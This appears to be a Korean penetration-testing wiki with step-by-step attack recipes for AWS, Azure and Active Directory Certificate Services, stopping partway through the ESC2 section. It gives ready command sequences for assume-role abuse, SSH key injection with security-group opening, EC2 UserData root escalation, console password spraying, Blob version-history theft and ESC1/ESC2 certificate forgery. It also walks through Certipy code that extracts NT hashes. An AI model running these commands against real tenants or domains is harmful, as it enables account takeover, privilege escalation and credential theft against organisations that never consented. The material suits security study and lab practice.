</strong>git clone https://git-codecommit.'&#x3C;region>'.amazonaws.com/v1/repos/'&#x3C;repository-name>'
git clone ssh://git-codecommit.'&#x3C;region>'.amazonaws.com/v1/repos/'&#x3C;repository-name>'

<strong># 리포지터리 열거 (codecommit:ListRepositories 권한 필요)
</strong>aws codecommit list-repositories

<strong># 특정 리포지터리의 정보 열거 (codecommit:GetRepository 권한 필요)
</strong>aws codecommit get-repository --repository-name '&#x3C;repository-name>'

<strong># 특정 리포지터리의 브랜치 목록 열거 (codecommit:ListBranches 권한 필요)
</strong>aws codecommit list-branches --repository-name '&#x3C;repository-name>'

<strong># 특정 브랜치 정보 열거 (codecommit:GetBranch 권한 필요)
</strong>aws codecommit get-branch --repository-name '&#x3C;repository-name>' --branch-name '&#x3C;branch-name>'
</code></pre>


# Assume Role

UNIX 기반 시스템에서 일반 사용자 계정이 /etc/sudoers 파일에 정의된 특정 명령들은 루트 권한으로 실행할 수 있는 것과 같이 AWS에서도 다른 사용자에게 권한을 위임하는 것이 가능합니다.&#x20;

독특한 점으로 서로 같은 AWS 내의 IAM 계정 뿐 아니라 다른 AWS 계정에게도 이러한 가장 권한을 위임할 수 있습니다. 이러한 가장은 만료 기간이 있는 임시 자격증명을 통해 이뤄집니다.

## Abuse

환경 구성 : [Assume Role](/home-lab/aws/assume-role)

<pre class="language-bash"><code class="lang-bash"><strong># 사용자에게 적용되는 정책 열거
</strong>aws iam list-attached-user-policies --user-name '&#x3C;username>'
aws iam list-user-policies --user-name '&#x3C;username>'

<strong># 위임받은 Assume Role 사용
</strong>aws sts assume-role --role-arn '&#x3C;role-arn>' --role-session-name tmp

<strong># 발급받은 임시 자격 증명을 AWS CLI 프로필에 저장
</strong>aws configure set aws_access_key_id '&#x3C;AccessKeyId>'
aws configure set aws_secret_access_key '&#x3C;SecretKey>'
aws configure set aws_session_token '&#x3C;SessionToken>'
</code></pre>

{% hint style="info" %}
해당 시나리오는 다음과 같은 권한이 요구됩니다.

1. iam:ListAttachedUserPolicies
2. iam:ListUserPolicies
3. sts:AssumeRole
   {% endhint %}

Assume Role이 있다고 하더라도 열거 권한과 사용 권한은 분리되어 있기 때문에 조회하지 못하는 상황이 있을 수 있습니다. 이럴 경우 위임된 권한의 이름을 추측하거나 정책을 생성 및 수정할 수 있는 권한이 있다면 [IAM Account Enumeration](/cloud/aws/undefined/iam-account-enumeration)공격으로 사전 기반의 무차별 대입 공격을 통해 역할 arn을 알아내야 합니다.

## Demo

<figure><img src="/files/GXRDsO3fwBiMAPcIXPPR" alt=""><figcaption></figcaption></figure>


# Initial access via ssh key injection

탈취한 IAM 사용자 계정에 특정 권한이 있을 때, 공격자는 인스턴스의 시스템에 로그인할 수 있습니다.

공격자가 AWS 크리덴셜을 탈취하더라도 인스턴스 내에서 ssh 서비스가 비활성화 상태일 경우, 외부에서 강제로  인스턴스 내 ssh 서비스를 활성화할 방법이 없기 때문에 다음 2가지 시나리오가 가능합니다.

* 인스턴스 내 ssh 서비스가 실행 중이며, 외부에 ssh 포트가 열려있는 경우
* 인스턴스 내 ssh 서비스가 실행 중이며, 외부에 ssh 포트가 닫혀있는 경우

두 시나리오에서 공통적으로 필요한 IAM 권한은 `ec2:DescribeInstances`, `ec2-instance-connect:SendSSHPublicKey` 권한이며, 외부에 ssh 포트가 노출되어 있지 않을 경우 `ec2:authorize-security-group-ingress` 권한이 추가적으로 필요합니다.

## Abuse

{% tabs %}
{% tab title="opened ssh port" %}

<pre class="language-bash"><code class="lang-bash"><strong># ssh key 생성
</strong>ssh-keygen -t ed25519

<strong># aws ec2 인스턴스 목록 열거
</strong>aws ec2 describe-instances --query 'Reservations[].Instances[].{ID:InstanceId,State:State.Name,PublicIP:PublicIpAddress,PrivateIP:PrivateIpAddress}' --output table

<strong># 인스턴스 시스템에 ssh key 인젝션
</strong>aws ec2-instance-connect send-ssh-public-key --instance-id '&#x3C;instance-id>' --instance-os-user 'root' --ssh-public-key file://'&#x3C;ssh-key>'

<strong># ssh 키를 이용하여 시스템 접속
</strong>ssh root@'&#x3C;instance-ip>' -i '&#x3C;ssh-key>'
</code></pre>

{% endtab %}

{% tab title="closed ssh port" %}

<pre class="language-bash"><code class="lang-bash"><strong># aws ec2 인스턴스 목록 및 보안그룹 열거
</strong>aws ec2 describe-instances --query 'Reservations[].Instances[].{ID:InstanceId,State:State.Name,PublicIP:PublicIpAddress,SGs:SecurityGroups[].GroupId}' --output table

<strong># 인스턴스의 보안그룹에 ssh 포트 개방
</strong>aws ec2 authorize-security-group-ingress --group-id '&#x3C;sg-id>' --protocol tcp --port 22 --cidr '&#x3C;your-ip>'

<strong># ssh key 생성
</strong>ssh-keygen -t ed25519

<strong># 인스턴스 시스템에 ssh key 인젝션
</strong>aws ec2-instance-connect send-ssh-public-key --instance-id '&#x3C;instance-id>' --instance-os-user 'root' --ssh-public-key file://'&#x3C;ssh-key>'

<strong># ssh 키를 이용하여 시스템 접속
</strong>ssh root@'&#x3C;instance-ip>' -i '&#x3C;ssh-key>'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/>" %}

{% embed url="<https://docs.aws.amazon.com/cli/latest/reference/ec2-instance-connect/send-ssh-public-key.html>" %}


# Policy


# ModifyInstanceAttributepending

EC2 UserData는 인스턴스가 시작될 때 자동으로 실행되도록 스크립트를 설정할 수 있는 기능입니다.

<figure><img src="/files/wbM2UjO1tj5cgjLyuwxX" alt=""><figcaption></figcaption></figure>

해당 데이터에 입력된 명령은 루트 권한으로 실행되기 때문에, 인스턴스에 대해 수정 권한이 있는 일반 사용자 계정 제어권을 탈취한 상황에서 사용 가능한 권한 상승 기법입니다.

{% hint style="info" %}
UserData 스크립트 삽입은 반드시 인스턴스가 중지된 상태에서만 가능합니다.
{% endhint %}

## Abuse

{% code title="UserData" %}

```viml
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
*** commands here ***
--//
command
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash"><strong># UserData 파일 생성 후 base64 인코딩
</strong>base64 file.txt > file.b64.txt

<strong># 인스턴스 중지
</strong>aws ec2 stop-instances --instance-id '&#x3C;instance-id>'

<strong># 인스턴스 UserData 항목에 file.b64.txt 파일 삽입
</strong>aws ec2 modify-instance-attribute --instance-id='&#x3C;instance-id>' --attribute userData --value file://file.b64.txt

<strong># 인스턴스 시작
</strong>aws ec2 start-instances --instance-id '&#x3C;instance-id>'
</code></pre>

## Demo

<figure><img src="/files/5Rg7ilezIJ8p9JO35Mno" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://ltlkodae.tistory.com/48>" %}

{% embed url="<https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/>" %}


# Password Spraying

AWS 계정의 Account Id를 알고있을 때 패스워드 스프레이 공격이 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 패스워드 스프레이 도구 설치
</strong>go install github.com/WhiteOakSecurity/GoAWSConsoleSpray@latest

<strong># 스프레이 공격 (Account Id, username, password 필요)
</strong>GoAWSConsoleSpray -a '&#x3C;account-id>' -u '&#x3C;username-file>' -p '&#x3C;password-file>'
</code></pre>


# Azure

Azure는 Microsoft의 클라우드 플랫폼이며파워쉘을 통해 Azure cli를 사용할 수 있습니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># Azure cli 설치
</strong>$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindowsx64 -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'; Remove-Item .\AzureCLI.msi

<strong># Microsoft Graph PowerShell SDK 설치
</strong>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
</code></pre>

## References

{% embed url="<https://learn.microsoft.com/en-us/cli/azure/install-azure-cli-windows?pivots=msi-powershell&view=azure-cli-latest>" %}


# 정보 수집

Azure 크리덴셜을 획득했을 때 GraphRunner와 같은 cli 도구를 사용하여 정보 수집이 가능합니다.

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># GraphRunner 설치
</strong>wget https://raw.githubusercontent.com/dafthack/GraphRunner/main/GraphRunner.ps1

<strong># Azure 계정정보를 통해 GraphRunner 토큰 생성 및 저장
</strong>Get-GraphTokens

<strong># 전체 모듈 확인
</strong>List-GraphRunnerModules

<strong># 각 모듈별 사용법 검색
</strong>Get-Help '&#x3C;module-name>' -examples
</code></pre>


# Public Blob Storage

Azure의 Blob Storage는 데이터를 저장하는 서비스로 AWS의 S3 버킷과 동일한 개념입니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># Public static web에 대한 리소스 열거
</strong>curl "https://'&#x3C;storage-account>'.blob.core.windows.net/$web?restype=container&#x26;comp=list" | xmllint --format -

<strong># 모든 블롭 버전 열거
</strong>curl -H "x-ms-version: 2019-12-12" "https://'&#x3C;storage-account>'.blob.core.windows.net/$web?restype=container&#x26;comp=list&#x26;include=versions" | xmllint --format -
</code></pre>

스토리지와 컨테이너에 대한 익명 접근이 모두 활성화 되어 있을 때, 컨테이너 내부 특정 파일이나 컨테이너의 모든 파일에 대해 익명 권한으로 접근이 가능합니다.

<div><figure><img src="/files/Kyd2tc68sSfkRNcSimUi" alt=""><figcaption><p>Storage Setting</p></figcaption></figure> <figure><img src="/files/QHqYUKc2pvn2xXWKV1Uh" alt=""><figcaption><p>Container Setting</p></figcaption></figure></div>

반면, 둘 중 하나라도 익명 접근이 허용되지 않는다면 아래와 같이 접근 오류가 반환됩니다.

<div><figure><img src="/files/Ww7gYOk1y9myYP3C8O84" alt=""><figcaption><p>Private Blob</p></figcaption></figure> <figure><img src="/files/oonNAijjQXBztPJAgsRj" alt=""><figcaption><p>Public Blob</p></figcaption></figure></div>


# Blob version history

블롭 버전 관리는 컨테이너 내 블롭을 삭제하거나 변경하더라도, 이전의 상태를 버전으로 관리하여 언제든 복구할 수 있는 기능입니다.

<figure><img src="/files/ZVx5Ib0OOrTgKj6J88SJ" alt=""><figcaption></figcaption></figure>

해당 기능은 기본적으로 비활성화 상태이며, 활성화가 되어있을 때 버전 목록을 열거함에 따라 과거 파일을 탈취할 수 있습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 버전 목록 열거
</strong>curl -H "x-ms-version: 2019-12-12" "https://'&#x3C;storage-account>'.blob.core.windows.net/$web?restype=container&#x26;comp=list&#x26;include=versions" | xmllint --format -

<strong># 특정 버전의 블롭 다운로드
</strong>curl -H "x-ms-version: 2019-12-12" "https://'&#x3C;storage-account>'.blob.core.windows.net/$web/'&#x3C;file>'?versionId=2025-11-26T16:22:23.6636783Z" --output '&#x3C;file>'
</code></pre>


# ADCS

Active Directory에서는 크게 3가지의 인증 방식을 사용합니다.

1. Kerberos
2. NTLM
3. ADCS

ADCS는 AD에서 Microsoft의 인증 기관(CA) 역할을 하는 서버입니다. 이는 공개키 암호화, 디지털 인증서 발급 및 관리, 사용자 인증 등의 기능을 제공합니다. ADCS에서 비롯되는 여러가지 취약점들은 모두 관리자가 ADCS의 속성 값을 잘못 설정할 경우 발생되는 취약점이므로 이 취약점들에 대해서 본격적으로 배우기 전, 어떤 속성들이 어떤 의미를 갖고 어떻게 설정할 수 있는지에 대해서 GUI와 설명으로 배울 필요가 있습니다.

다만 어떤 속성이 어떠한 성질을 가진다는 것은 본 페이지에서 다루며 취약점에 대한 개별적 페이지에서는 어떤 속성의 어떤 값이 만족할 때 취약점이 발생한다고 다루기 때문에 별도로 보안조치 사항에 대해서는 다루지 않습니다.

먼저 침투한 서버에 CA 서버가 존재하는지(ADCS를 사용하는지) 탐색은 아래의 파워쉘 명령어로 할 수 있습니다.

```
PowerShell # net localgroup "Cert Publishers"
```

## Attribute Description

### Enrollee Supplies Subject

인증서 요청자가 인증서의 주체를 직접 선택할 수 있도록 하는 설정입니다. 예를 들어서 wiki라는 사용자가 인증서 생성을 요청할 때, 자동으로 해당 인증서의 주체가 wiki가 되어야 하지만 이 설정이 True로 되어있으면 wiki 사용자가 pentesting이라는 다른 사용자를 주체로 하는 인증서 생성 요청이 가능합니다. 이러한 매커니즘을 악용하여 공격자는 본인이 소속된 낮은 권한의 일반 사용자로 도메인 관리자를 주체로 하는 인증서 생성 요청이 가능합니다.

<figure><img src="/files/3R0r4c46dmHpy25bgVEY" alt="" width="563"><figcaption></figcaption></figure>

ADCS 설정에서는 Supply in the request 설정이 기본적으로 비활성화 되어있고 기존의 설정에서 이 설정으로 변경하는 것이 허용되지 않습니다. 하지만 템플릿을 새로 생성하거나 기존의 템플릿을 복제할 경우 사진과 같이 설정을 변경할 수 있으며, 변경 시 보안 경고창이 나타납니다.

### Requires Manager Approval

<figure><img src="/files/HMXX8UnPSROwMgis6GxX" alt=""><figcaption></figcaption></figure>

인증서 요청에 대해 관리자의 승인을 요구하는 기능입니다. 이 옵션이 False로 되어있으면 관리자의 승인이나 검토가 없이도 인증서 발급이 될 수 있어 Enrollee Supplies Subject 속성의 True 값을 이용하여 공격자가 Administrator 계정에 대한 인증서를 요청할 때, 그 인증서에 대한 검토 및 승인 과정을 건너뛰어 승인시킬 수 있습니다. 이 옵션은 기본적으로 비활성 상태이기 때문에 따로 설정할 필요는 없습니다. 하지만 옵션을 활성화 했다가 비활성화로 변경할 경우 보안 경고창이 출력됩니다.

### Authorized Signatures Required

<figure><img src="/files/dAY0nk6lKVkoHt0dri34" alt=""><figcaption></figcaption></figure>

인증서 요청이 최종 승인되기 전에 필요한 서명자를 요구하는 속성입니다. 이 속성이 0으로 설정되어 있으면 비활성화 된 것으로 최종 승인 시 요구되는 서명자가 없기 때문에 앞서 언급된 설정들과 연계하면 Administrator과 같은 높은 권한의 주체에 대한 인증서 발급이 가능합니다. 이 설정 역시 기본적으로 비활성 상태입니다.

### Enrollment Rights

<figure><img src="/files/zmZxoAflOptO88ApCspH" alt="" width="375"><figcaption></figcaption></figure>

인증서 템플릿에 대한 등록 권한을 제어하는 속성으로 특정 사용자나 그룹이 해당 템플릿을 사용하여 인증서를 요청할 수 있는지를 결정합니다. 템플릿 제어에 대해서 허가된 사용자가 도메인 전체 사용자 혹은 공격자가 권한 획득에 성공한 사용자라면 높은 권한의 인증서를 요청할 수 있습니다. 즉 해당 설정이 존재해야지 ESC1 공격의 첫 발판인 인증서 생성 요청이 가능합니다. 위 사진과 같이 Domain Users를 그룹에 추가해주고 Request Certificates 항목을 Allow 할 경우 도메인 유저도 인증서 생성 요청이 가능하게 됩니다.

### Any Purpose

<figure><img src="/files/bUeeu28EoFH777SPgGhh" alt="" width="375"><figcaption></figcaption></figure>

Any Purpose 속성이 설정된 템플릿을 통해 생성된 인증서는 여러 용도로 활용할 수 있게 됩니다. 예를 들어 일반적인 인증서의 목적은 다음과 같이 특정 목적을 가지지만 이속성을 가진 인증서는 특정 목적에 제한되지 않고 여러 용도로 사용이 됩니다.

| 속성                  | 목적                               |
| ------------------- | -------------------------------- |
| Digital Signature   | 인증서가 디지털 서명에 사용될 수 있도록 설정        |
| Non-Repudiation     | 인증서가 부인 방지에 사용될 수 있도록 설정         |
| Key Encipherment    | 인증서가 키 암호화에 사용될 수 있도록 설정         |
| Data Encipherment   | 인증서가 데이터 암호화에 사용될 수 있도록 설정       |
| Certificate Signing | 인증서가 다른 인증서를 서명하는 데 사용될 수 있도록 설정 |

### Application Policies

이 속성은 인증서가 발급된 목적을 나타내는 용도로 사용됩니다. 만약 이 속성이 템플릿에 적용되어 있을 경우, 해당 템플릿을 통해 생성한 인증서의 사용 목적을 정하는데 사용됩니다. 다음은 주로 사용되는 속성값과 OID입니다.

<table><thead><tr><th width="238">속성값</th><th width="174">OID</th><th>설명</th></tr></thead><tbody><tr><td>Server Authentication</td><td>1.3.6.1.5.5.7.3.1</td><td>서버가 클라이언트에게 자신의 신원을 인증할 때 사용</td></tr><tr><td>Client Authentication</td><td>1.3.6.1.5.5.7.3.2</td><td>클라이언트가 서버와 연결을 수립할 때 사용</td></tr><tr><td>Certificate Request Agent</td><td>1.3.6.1.4.1.311.20.2.3</td><td>인증서 요청을 대리할 수 있는 에이전트 인증서에 사용</td></tr></tbody></table>

### ManageCA

<figure><img src="/files/uLKZHXBAifJGdC1IyxO9" alt=""><figcaption></figcaption></figure>

ManagaCA 속성에 대해 Allow가 되어있는 사용자, 그룹은 CA의 사용자 권한을 관리할 수 있습니다. 이 권한을 통해 다른 사용자 혹은 본인에게 다른 속성도 할당할 수 있습니다.

### Issue and Manage Certificates

이 권한을 가진 사용자/그룹은 다음의 활동 등을 할 수 있습니다.

1. 인증서 요청 승인 및 거부
2. 인증서 발급
3. 인증서 템플릿 관리 및 수정
4. 인증서 철회
5. CA 서버에서 인증서 관련 설정 및 관리

이 권한이 할당된 사용자 계정으로는 서버에서 [ADCS](/active-directory/adcs#requires-manager-approval) 속성을 설정했을 때 관리자의 승인을 받아야 하는 인증서 목록을 확인하고 승인/거부를 할 수 있습니다.

### EKU

Extended Key Usage는 인증서의 확장 키 사용 필드로, 해당 인증서의 구체적 용도를 지정합니다. 이것의 목적은 사전에 정의한 인증서의 구체적 용도에 맞게 인증서를 사용하여 악의적인 목적의 인증서 발급/사용을 제한하는 것에 있습니다. Any Purpose와는 정반대 개념의 속성입니다.

## How to get NT Hash

TGT 데이터는 KDC의 비밀키로 암호화가 되어있고, 이 메시지는 주체의 NT Hash로 암호화가 되어있는데 Administrator 주체로 TGT 발급은 이해가 쉽지만 TGT로부터 주체의 NT Hash를 가져오는 과정은 이해하기가 쉽지 않습니다. 본 페이지에서는 certipy-ad의 auth와 관련된 스크립트를 통해 어떻게 NT Hash를 덤핑할 수 있는지 분석해봅니다.

{% embed url="<https://raw.githubusercontent.com/ly4k/Certipy/refs/heads/main/certipy/commands/auth.py>" %}

### 1. AS-REQ & AS-REP

```python
def kerberos_authentication(
    self,
    username: str = None,
    domain: str = None,
    is_key_credential: bool = False,
    id_type: str = None,
    identification: str = None,
    object_sid: str = None,
    upn: str = None,
) -> Union[str, bool]:
    as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert)
    logging.info("Trying to get TGT...")
    tgt = sendReceive(as_req, domain, self.target.target_ip)
    logging.info("Got TGT")
    as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
```

certipy-ad auth에서는 입력된 정보들을 토대로 KDC로 전송할 AS-REQ를 생성합니다.

### 2. Exchange Public Key

```python
ci = cms.ContentInfo.load(pk_as_rep["dhSignedData"]).native
sd = ci["content"]
key_info = sd["encap_content_info"]

auth_data = KDCDHKeyInfo.load(key_info["content"]).native
pub_key = int(
    "".join(["1"] + [str(x) for x in auth_data["subjectPublicKey"]]), 2
)
pub_key = int.from_bytes(
    core.BitString(auth_data["subjectPublicKey"]).dump()[7:],
    "big",
    signed=False,
)
shared_key = diffie.exchange(pub_key)
```

수신된 REP로부터 디피헬만 알고리즘으로 서명된 데이터 필드를 가져옵니다. 해당 데이터의 내용에서 encap\_content\_info는 공개키에 관련된 정보가 있습니다. 파싱한 공개키를 정수 형태로 변환합니다. 공개키를 가지고 서버와 키 교환을 통해 비밀키를 계산할 수 있습니다.

### 3. Dump Secret Key

```python
server_nonce = pk_as_rep["serverDHNonce"]
full_key = shared_key + diffie.dh_nonce + server_nonce

etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
    t_key = truncate_key(full_key, 32)
elif etype == Enctype.AES128:
    t_key = truncate_key(full_key, 16)
else:
    logging.error("Unexpected encryption type in AS_REP")
    return False

key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
dec_data = cipher.decrypt(key, 3, enc_data)
enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0]

cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])]
session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"]))
```

서버 응답으로부터 넌스값을 가져오고 본인의 넌스값을 통해 full\_key를 생성합니다. AS\_REP을 통해 암호화 알고리즘을 파악하고 각 알고리즘에 맞게 키 바이트 단위를 지정합니다. Kerberos 인증에서 TGT를 발급할 때, AS-REP에는 TGT 외에도 다른 정보도 함께 전송됩니다.

<figure><img src="/files/3QWRTiKDVCgYVAxeEswW" alt=""><figcaption><p><a href="https://www.tarlogic.com/blog/how-kerberos-works/">https://www.tarlogic.com/blog/how-kerberos-works/</a></p></figcaption></figure>

TGT 정보 자체는 krbtgt의 NT Hash로 암호화가 되어있지만, 같이 오는 정보는 발급 주체의 NT Hash로 암호화가 되어 있습니다. 그런데 현재는 디피 헬만 알고리즘을 통해 생성한 공개키 알고리즘을 사용하므로 AS-REP의 enc-part의 etype으로부터 가져온 알고리즘에 맞게 자른 key(비밀키)로 복호화가 가능합니다.

### 4. Get NT Hash

일반적인 ST 발급 매커니즘에선 ST가 Service Admin의 NT Hash로 암호화 되지만 S4U2self를 통해 발급된 ST는 사용자의 세션 키로 암호화가 됩니다. S4U는 Alice가 Alice에 대한 요청도 가능하기 때문에, 앞선 과정인 디피 헬만 키교환 알고리즘을 통해 생성한 비밀키로 ST를 복호화 할 수 있습니다.

<figure><img src="/files/VG7GInfdwkOIDfKG5WXa" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-350a-423e-a692-1d16659e544a">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-350a-423e-a692-1d16659e544a</a></p></figcaption></figure>

ST 정보 속에 포함되는 PAC의 구조 속에는 PAC\_CREDENTIAL\_INFO 안에 NTLM\_SUPPLEMENTAL\_CREDENTIAL 이라는 데이터로 NT Hash에 대한 정보가 있습니다. 그래서 수신된 데이터로부터 먼저 PAC\_CREDENTIAL\_INFO 정보를 파싱합니다.

```python
cred_info = PAC_CREDENTIAL_INFO(data)
```

cerd\_info에는 파싱한 데이터가 담겨있는데, PAC\_CREDENTIAL\_INFO 데이터의 구조체는 다음과 같이 구성되어 있습니다.

<figure><img src="/files/ycrKDt0b9mIoQQ22G1vq" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/cc919d0c-f2eb-4f21-b487-080c486d85fe">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/cc919d0c-f2eb-4f21-b487-080c486d85fe</a></p></figcaption></figure>

암호화 알고리즘을 알아내기 위하여 EncryptionType와 암호화된 Credential 정보를 직렬화한 데이터인 SerializedData를 파싱합니다.

```python
new_cipher = _enctype_table[cred_info["EncryptionType"]]
out = new_cipher.decrypt(special_key, 16, cred_info["SerializedData"])
type1 = TypeSerialization1(out)
new_data = out[len(type1) + 4 :]
pcc = PAC_CREDENTIAL_DATA(new_data)
```

구조체로 변환한 데이터는 PAC\_CREDENTIAL\_DATA 정보로 이 데이터 구조체 안에는 사용자의 자격증명 정보를 Credentials로 저장합니다. 변수로 저장한 pcc로부터 NT Hash 정보를 추출할 수 있습니다.

```
for cred in pcc["Credentials"]:
    cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
    if any(cred_structs["LmPassword"]):
        lm_hash = cred_structs["LmPassword"].hex()
    nt_hash = cred_structs["NtPassword"].hex()
    break
break
```

## References

{% embed url="<https://www.igloo.co.kr/security-information/adcs%EC%9D%98-%EC%B7%A8%EC%95%BD%ED%95%9C-%EC%9D%B8%EC%A6%9D%EC%84%9C-%ED%85%9C%ED%94%8C%EB%A6%BF-%EA%B5%AC%EC%84%B1%EC%9D%84-%ED%86%B5%ED%95%9C-esc1-%EA%B3%B5%EA%B2%A9%EA%B8%B0%EC%88%A0offensive-tec/>" %}

{% file src="/files/HX8Ch8gSkTdGd2TeB3BG" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/cc919d0c-f2eb-4f21-b487-080c486d85fe>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-350a-423e-a692-1d16659e544a>" %}

{% embed url="<https://github.com/ly4k/Certipy>" %}


# Abuse Permissions

Active Directory 내에서 적절한 권한을 가지고 있으면 CA 서버의 템플릿 설정이 가능합니다. 템플릿을 업로드하여 활성화 시키는 권한이 있을 경우 ESC 공격에 취약한 템플릿을 로컬에 업로드 후 로드하여 악용할 수 있습니다. 주로 악용할 수 있는 권한과 그룹은 다음과 같습니다.

* Enterprise Admins
* Domain Admins
* CA Admins
* PKI Admins

PKI Admins, CA Admins를 포함하여 일부 그룹은 템플릿 변경 권한이 있음에도 이름이 다르게 표시될 수 있습니다. 이는 기본적으로 AD/CA에서 제공하는 그룹이 아니기 때문입니다. 따라서 그룹명을 통해, 혹은 사용자 이름을 통해 템플릿 수정 권한이 있는지 파악하는 것도 중요합니다.

의도적으로 취약한 템플릿을 활성화 하기 위해서 ADCSTemplate.psm1 모듈을 먼저 로컬에 다운로드 한 뒤 임포트 해야 합니다. 그 이후엔 ESC1과 같은 템플릿을 업로드하여 사용합니다.

{% embed url="<https://github.com/GoateePFE/ADCSTemplate/blob/master/ADCSTemplate.psm1?source=post_page-----b6213579c72b-------------------------------->" %}

{% embed url="<https://github.com/Orange-Cyberdefense/GOAD/blob/4cc6cbc1bdc86a236649d6c1e2c0dbf856bedeb6/ansible/roles/adcs_templates/files/ESC1.json?source=post_page-----b6213579c72b-------------------------------->" %}

```
Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName ESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity <Domain>/<Group>
```

## References

{% embed url="<https://medium.com/@seangreptzy/htb-coder-b6213579c72b>" %}


# ESC1

ESC1은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.

| 속성                             | 값                      |
| ------------------------------ | ---------------------- |
| Enrollee Supplies Subject      | True                   |
| Requires Manager Approval      | False                  |
| Authorized Signatures Required | 0                      |
| Enrollment Rights              | 공격자가 컨트롤 가능한 객체 이하의 권한 |

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -ca '&#x3C;ca-name>' -template '&#x3C;template-name>' -upn Administrator -target '&#x3C;ca-fqdn>' -key-size 4096 -sid '&#x3C;sid>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## Root Cause

#### **Enrollee Supplies Subject**

이 속성을 활성화하면 인증서를 요청하는 주체는 요청 주체의 이름을 변경할 수 있습니다.

<figure><img src="/files/2Z6WQce9B2fgb51q2j1N" alt=""><figcaption><p>Enrollee Supplies Subject</p></figcaption></figure>

#### **Enrollment Rights**

이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

<figure><img src="/files/fqxNizQqUwxy9ehxWhDq" alt=""><figcaption><p>Enrollment Rights</p></figcaption></figure>

#### **Requires Manager Approval & Authorized Signatures Required**

<figure><img src="/files/jtJjDRGt25FEtFdEeAcE" alt=""><figcaption></figcaption></figure>

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다. 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.

{% hint style="info" %}
This number of authorized signatures는 10을 초과하더라도 실제론 10개의 서명만을 요구하지만, 현실적으로 보기 드물며 1로 설정하는 경우가 많습니다.
{% endhint %}

## References

{% file src="/files/HX8Ch8gSkTdGd2TeB3BG" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}


# ESC2

ESC1은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.

<table><thead><tr><th width="399">속성</th><th>값</th></tr></thead><tbody><tr><td>Authorized Signatures Required</td><td>0</td></tr><tr><td>Requires Manager Approval</td><td>False</td></tr><tr><td>Enrollment Rights</td><td>공격자가 컨트롤 가능한 객체 이하의 권한</td></tr><tr><td>Any Purpose / EKU</td><td>True / False</td></tr><tr><td>Include this information in alternate subject name</td><td>False</td></tr></tbody></table>

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template '&#x3C;template-name>'

<strong># 발급한 인증서를 통해 Administrator의 인증서 발급
